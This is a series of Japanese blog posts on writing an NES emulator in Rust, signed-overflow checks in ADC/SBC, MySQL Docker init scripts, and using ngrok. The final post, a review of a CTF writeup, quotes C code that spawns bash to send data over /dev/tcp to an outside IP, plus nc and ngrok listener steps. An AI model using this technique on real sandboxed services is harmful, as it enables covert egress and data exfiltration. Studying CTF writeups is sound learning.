ファミコンエミュレータを写経してみるお話２【PPU】

前回

thinline196.hatenablog.com

やること

前回は初歩として、CPUの実装を行い、参考サイトを元に一通りの必要と思われる命令を網羅的に実装しました。まだファミコンをエミュレートする際に必要な実装がかけているかもしれませんが、その場合は後々修正していこうと思っています。

LogiClover vol.1を読んでいると、CPUの次にPPUを実装しています。これは、ファミコンの描画を司る部分だそうで、CPUにより間接的に制御されているとのこと。今回は制御をする機構はなるべく後回しに、PPUのスタンドアロンなトコから実装していけたらなと思ってます。

参考にするもの

• コード周りはこちらのコードを観させてもらおうと思います。またRustの書き方の勉強としても頼りにさせてもらいます。 github.com

ファミコンエミュレータの創り方 - Speaker Deck

• こちらに有志の皆さんがNESの情報をまとめて下さっているので、利用させてもらいます。特に、コードを写経しているだけでは意味がないので、まずこちらを見て自分で実装を考えます。

hp.vector.co.jp

pgate1.at-ninja.jp

• こちらの本も参考にさせてもらいます。１つ目のリンクの方の実装と見比べる事で、実装にマストな部分を見出すために使いました。また、こちらの方の実装順番も参考にしてます。

booth.pm

読み始める前に

• ファミコンの仕様についてはネット上にたくさん情報が上がっているので、ここでは詳しい事は書かないです。(自分も分からない)用語の説明もほとんどしていません。 しかし、実装手順の再現性があるサイトは個人的に少ないなと感じたので、自分の試行錯誤をここにまとめて、うまく踏み台にしてもらえたらなと考えています。言語はRustを使っており参考サイトもRustが中心のものが多いです。
• また、解説力も乏しいので、適宜実装が完了したと思われるcommitにジャンプできるGithubのリンクをそれぞれに置いておくので、そこからコミット履歴などを参照していただいてもらう形にします。申し訳ないです。
  
  

レジスタ

前回のCPU同様、レジスタ周りから作り始めるのが良さそうです。ということで、コード参考のリポジトリを確認すると、どうやらRAMの実装とOAMやPPU_ADDRなどを別途細かく分けて実装していること、またそれらにRAMの実装が必要なことが分かったので同時にやってしまいます。RAMの実装は、いろんな箇所で使いまわせるような実装になっていました。Registerの入出力周りのベースを実装したのがこのコミットです。

github.com

現状ここの実装が分からなかったので、修正しました。今後の動きによっては元に戻そうと思います。 https://github.com/196Ikuchil/nes_emulator/commit/5c3f2690437d9552b7af515fb047210fc8aaa309#r37678779

PPU

レジスタが動きそうなので、これを利用してPPUの動きをエミュレートしていきます。まず描画する背景、スプライトを生成できるようにしようと思います。参考書籍より、タイルが最小構成要素だと思ったのですが、参考実装ではsprite_utils.rsのSpriteという構造体がおそらく最小要素になっている（タイル・スプライトの共通要素をここで定義）ので、そこから作ります。

注意点として以下があります。

• 8*16のスプライトに対応済みとのことなのでそのまま実装する
• Mapper3に対応済みとのことだが、現状不必要なので実装しない

PPUを呼び出せる部分まで実装しました。これをフレームごとに呼び出して画面を作っていくイメージです。リンクはPPUメイン実装時のコミットですが、パーツごとになんとなくコミットを分けているのでそちらも実装順の参考になるかもです。

github.com

runさせることで、そのフレームで必要な背景とスプライトを一通り生成するはずです。

DMA

CPUを介さずに直接RAMへデータを読み込む機構を実装します。詳しくはこのスライドに紹介されています。
ファミコンエミュレータの創り方 - Speaker Deck

これも機能のみ実装しておきます。

github.com

後々に、Busで0x4014番地に書き込みがあった場合にDMAによる転送が有効になるように仕込みますが、現状は実装されていません。

積み残し

今回は最低限PPUの機能として必要そうな部分のみの実装を行いました。テストコードをサボってしまい少ない分、しっかり動くかまだ未知数ですが、切りがいいので続きは次回に回します。次回は前回のCPUと合わせてテストROMを動かせるようにして、今回の分のデバッグも行いたいと考えています。

追記

修正が加わっているので、PPUあたりの該当コードは直しておいてください。後々修正する記事で同じリンクが登場するので今じゃなくても大丈夫です。

github.com github.com
ここではspriteに修正に入っています。

github.com
またここでは画面のスクロールに修正が入っています。

github.com

ファミコンエミュレータを写経してみるお話１【CPU】

はじめに

タイトル通りです。不定期に進めるつもりですが、最後まで進むかはまだ分からないです。

モチベーション

なぜ突然始めようと思ったか。 - 自分で調べてみたいゲームがある(秘密) - 低レイヤーに強くなりたい - Rustに興味がある

巷では自作OSが流行っていますが、みんなと同じだと芸がないので若干遠いものを選んでみました。

参考にするもの

• コード周りはこちらのコードを観させてもらおうと思います。またRustの書き方の勉強としても頼りにさせてもらいます。

github.com

ファミコンエミュレータの創り方 - Speaker Deck

• こちらに有志の皆さんがNESの情報をまとめて下さっているので、利用させてもらいます。特に、コードを写経しているだけでは意味がないので、まずこちらを見て自分で実装を考えます。

hp.vector.co.jp

pgate1.at-ninja.jp

• こちらの本も参考にさせてもらいます。１つ目のリンクの方の実装と見比べる事で、実装にマストな部分を見出すために使いました。また、こちらの方の実装順番も参考にしてます。

booth.pm

読み始める前に

• ファミコンの仕様についてはネット上にたくさん情報が上がっているので、ここでは詳しい事は書かないです。(自分も分からない) しかし、実装手順の再現性があるサイトは個人的に少ないなと感じたので、自分の試行錯誤をここにまとめて、うまく踏み台にしてもらえたらなと考えています。言語はRustを使っており参考サイトもRustが中心のものが多いです。
• また、解説力も乏しいので、適宜実装が完了したと思われるcommitにジャンプできるGithubのリンクをそれぞれに置いておくので、そこからコミット履歴などを参照していただいてもらう形にします。申し訳ないです。

始めにやること

まず、ファミコンを構成する全体像を把握していくと良いと思います。CPUやPPUがどうつながっているのかなどなど。

ファミコンエミュレータの創り方 - Speaker Deck

色んなサイトがそれぞれの図で説明しているので、目を通した方が掴みやすいかもしれません。

CPUから作り始めてみる

僕はCPUから作り始めてみることにしました。理由は以下です。

• ここの命令を駆使してコンピュータが動いている
• 割と他の機器に依存しておらず、コードが読み始めやすい
• 同じ理由で、とりあえず命令が１つずつ動くように作れば大丈夫そう

命令を１つずつ実装する

実装が必要なCPUの命令は参考サイトに一覧で載っているので、簡単に言えばこれらを呼び出して動くようにできればokなはず。まず、大まかな流れを作りながら、LDA imm関数(中身未実装)が呼べるまでを作ってみました。(リンク先はその時のコミットに飛びます)

github.com

ここでcargo runを実行すれば以下のような出力が得られ、とりあえず呼び出せた事がわかりました。

足りないもの

命令だけ実装していくつもりでしたが、CPU レジスタとBusまわりの実装も必要そうだと感じてきました。命令による状態の変化であったり、アドレスの指す他の場所のデータを読んでくるといった処理を命令に実装しなければならないためです。特にレジスタ周りはプログラムカウンタなど特に不可欠な要素が多いので、命令系よりも先に実装しておく必要がありそうです。

レジスタの実装

簡易的に必要となりうる機能を参考サイト様から引っ張って実装してみました。実際に操作はしていないものの、操作を呼び出せるようにCPUに接続してみたつもりです。 github.com
テストを走らせるために、データを他とやり取りするbusも必要そうです。テストだけであれば細かな実装はいらなそうなので、うまいことモックテストができるように実装してみます。

busの仮実装と初めての命令の実装

はじめに仮実装としてBusと思われるものを実装しました。機能は適当ですが、読み書きができるメソッドが呼び出し可能なようにしておき、周辺が充実してきたら機能を実装してく形にします。

github.com

実際にBusをCPUのなかに組み込み、LDA imm命令を実装、テストを追加してみたのもがこちらです。これだとまだモックは必要ありませんでした。

github.com

LDA系の命令を一通り実装する

だんだん説明が少なってますが、こちらがLDA系を網羅した際のコミットです。それぞれある程度のテストも実装しています。modでのテストはBusにより実際に命令を読んできて、その命令を実行させるという、大分本番に近い感じで動いていると思います。楽しいです。

はじめはLDAの命令を網羅的に実装していたのですが、「読んだ値をそのままAへロード」か「読んだアドレスの指す場所の値をAへロード」の２パターンしかないので、結果的にInstructionには２つしかメソッドが実装されていません。

github.com

全ての命令を網羅する

あとは全ての実装をしていくだけです。基本的に下の２つのサイトを確認しながら、命令の挙動を把握して行きます。

hp.vector.co.jp

pgate1.at-ninja.jp
一通り網羅しました。これにより基本的なCPU周りの実装はひとまず完了したと思われるので、プルリクにしてあります。

github.com

割り込み系の追加実装

上ではソフトウェアからのBRKの割り込みは実装したはずですが、ハードウェアからなどの割り込みは未実装でしたので追加します。下のリンク先では、追加実装時のプルリクを紹介しています。

github.com

ここまで

一通りテストも書いたはずなので、ポカはないと思いますが、間違っているとしたら自分の解釈部分で違っていた故のミスかと思います。ひとまずCPUの実装（写経）はこれで一段落つけます。もし追加で必要なものや修正があれば、後の実装で適宜直していこうと思います。このエントリがいつまで続くか分からないですが、引き続き頑張ります。
つづき↓

thinline196.hatenablog.com

追記

後日romを起動させながらデバッグを行い修正が加わったので、CPUの該当コードあたりは直しておいてください。修正する記事で後々出てくるコードなので今じゃなくても大丈夫です。

github.com

github.com

Signed Int加算減算のオーバーフロー判定について

はじめに

Rustでファミコンのエミュレータを写経していた時のお話です。CPUの実装で加算・減算の命令実装時に、オーバーフローの判定を挟むのですが何やっているのか分からず悩んだので、ここに自分なりの解釈を書いておきます。もっと良い考え方があれば教えてください。

問題の箇所

このリポジトリのこの箇所です。

pub fn adc_imm<T: CpuRegisters>(operand: Word, registers: &mut T) {
    let computed = (operand as u16) + registers.get_A() as u16 +
                   bool_to_u8(registers.get_carry()) as u16;
    let acc = registers.get_A();
    registers
        .set_overflow(!(((acc ^ (operand as Data)) & 0x80) != 0) &&
                      (((acc ^ computed as Data) & 0x80)) != 0) //  ココ
        .update_negative_by(computed as Data)
        .update_zero_by(computed as Data)
        .set_carry(computed > 0xFF)
        .set_A(computed as Data);
}

// [引用] https://github.com/bokuweb/rustynes/blob/f213881554e20054c7ea7adafe511195c25f8cb7/src/nes/cpu/instructions.rs#L147

github.com

前提知識

ざっくりまとめると

• ファミコンでは演算時に値をSigned Intとして扱っているはずである。
• このメソッドはu8のoperandとaccの２つの変数の足し算。(正確には1か0のcarry_flagも足している)
• ファミコンにおいてもし結果がオーバーフローしていたらそれを検知する必要がある。
• !(((acc ^ (operand as Data)) & 0x80) != 0) && (((acc ^ computed as Data) & 0x80)) != 0がtrueなら、オーバーフローしてる判定らしい

オーバーフロー検知

分解

まず判定式を２つに分けてみます。

1. !(((acc ^ (operand as Data)) & 0x80) != 0)
2. (((acc ^ computed as Data) & 0x80)) != 0

1では１つ目の変数と2つ目の変数をxorした後に、0x80でANDを取っています。よく分からないので更に分解してみます。xorとandで分配則が成り立つはずなので、分解します。ついでに先頭の!も取ります。
- (acc & 0x80) ^ (operand & 0x80)が==0

http://markun.cs.shinshu-u.ac.jp/learn/logic/logic3/html/jp/fnd4-j.html

判定

• 0x80とandをとることで、8bit目が1かどうか判定してます。これにより値の正負を判定できます。(正なら0x80, 負なら0x00)
• 上の結果をxorすることにより、元の２変数の正負が同じであった場合のみ0が算出されます。(正:0x80 ^ 負:0x00 = 0x80, 正^正= 0x00)
• つまり1では、足した２変数が同じ符号であったかを見てます。

これらを踏まえると２では、変数1と演算結果が違う値かを判定していることになると思います。

つまり？

足し算なのに結果の正負が変わることはないよ。変わっていたら、お前オーバーフローしてね？ってことだと思います。

減算も見てみる

手短に引き算も見ます。

pub fn sbc_imm<T: CpuRegisters>(operand: Word, registers: &mut T) {
    let computed = registers.get_A() as i16 - (operand as i16) -
                   bool_to_u8(!registers.get_carry()) as i16;
    let acc = registers.get_A();
    registers
        .set_overflow((((acc ^ (operand as Data)) & 0x80) != 0) &&
                      (((acc ^ computed as Data) & 0x80)) != 0) // ココ
        .update_negative_by(computed as Data)
        .update_zero_by(computed as Data)
        .set_carry(computed >= 0 as i16)
        .set_A(computed as Data);
}

// 引用: https://github.com/bokuweb/rustynes/blob/f213881554e20054c7ea7adafe511195c25f8cb7/src/nes/cpu/instructions.rs#L174

rustynes/instructions.rs at f213881554e20054c7ea7adafe511195c25f8cb7 · bokuweb/rustynes · GitHub

日本語に直すと、変数1と変数2の符号が違っているのに変数1と演算結果も符号が違うとなりそうです。これは式が

• A - (B) = C

であることに注意すれば、足し算と同じように理解できそうです。

【Docker】docker-entrypoint-initdb.d内ファイルっていつ呼ばれるのよ

タイトル通り

初歩的な内容です。いつ呼ばれるというのは、"タイミング"の話ではなく、"初回起動時"とかそんな感じです。

docker-compose.yml

大体こんな感じの設定でビルドしてます。

#docker-compose.yml
version: '3'
services:
...
   db:
    image: mysql:8.0
    container_name: mysql
    command: mysqld --sql_mode=""
    environment:
      - TZ=Asia/Tokyo
    volumes:
      - "./sql:/docker-entrypoint-initdb.d"
      - "./mysql_data:/var/lib/mysql"

たどる

mysql8.0ではdocker-entrypoint.sh内の次の行にてファイルが呼ばれている。

# docker-entrypoint.sh
for f in /docker-entrypoint-initdb.d/*; do
    process_init_file "$f" "${mysql[@]}"
done

# https://github.com/docker-library/mysql/blob/696fc899126ae00771b5d87bdadae836e704ae7d/8.0/docker-entrypoint.sh

mysql/docker-entrypoint.sh at 696fc899126ae00771b5d87bdadae836e704ae7d · docker-library/mysql · GitHub
そしてこのコードは次の条件から分岐している。

# docker-entrypoint.sh
if [ ! -d "$DATADIR/mysql" ]; then
....

# https://github.com/docker-library/mysql/blob/696fc899126ae00771b5d87bdadae836e704ae7d/8.0/docker-entrypoint.sh#L100

$DATADIRはとりあえずdatadirの値が来ているようで、設定上/var/lib/mysqlに対応していた。 https://github.com/docker-library/mysql/blob/fc3e856313423dc2d6a8d74cfd6b678582090fc7/8.0/config/my.cnf#L25

ので、上のdocker-compose.ymlでは/var/lib/mysqlにmysql_dataディレクトリをマウントしているため、今回であれば初回起動時もしくはmysql_dataディレクトリが空の時、docker-entrypoint-initdb.d内の.sqlファイル等が呼ばれる気がする。

【ngrok.io】特定のIPアドレスとポートでリクエストを受け付ける

あらまし

ContrailCTFにオンタイムで参加できず、writeupを見ながら復習していた時、ngrokなるサイトが紹介されていたのでメモがてら備忘録です。

NoWallForUs

という問題のwriteupに使われていました。シナリオとしては競プロサイトで、Cなど任意言語でhelloを出力するコードを提出する合間に、フラグを見つけるみたいな感じです。今回のwriteup参考サイトはこちら

www.ryotosaito.com
提出するコードにtcp通信を仕込みます。この通信先をさくっと準備するのにngrokを使っていました。

#include <unistd.h>
int main()
{
        execl("/bin/bash", "/bin/bash", "-c", "echo hello &>/dev/tcp/17.xxx.xx.xx/1234", NULL);
        return -1;
}

[引用元:https://www.ryotosaito.com/blog/?p=400]

自分のマシンで受け付ける

ngrokに登録して、必要なファイルをダウンロード。インストールを行います(省略) ngrok - secure introspectable tunnels to localhost

ngrokが便利すぎる - Qiita
ローカルでリクエストを受け付けます。今回osはubuntuです。

$nc -l 1234

新しいタブを開いて、ngrokを起動し、ncで待ち受けているやつに紐付けます。

$./ngrok tcp 1234

コンソールが表示され接続先がわかります。
あとはpingなどを飛ばしてipアドレスを特定すれば、待ち受けるIPアドレスがわかるので、それと先ほど表示されたポートを使ってリクエストを送れると思います。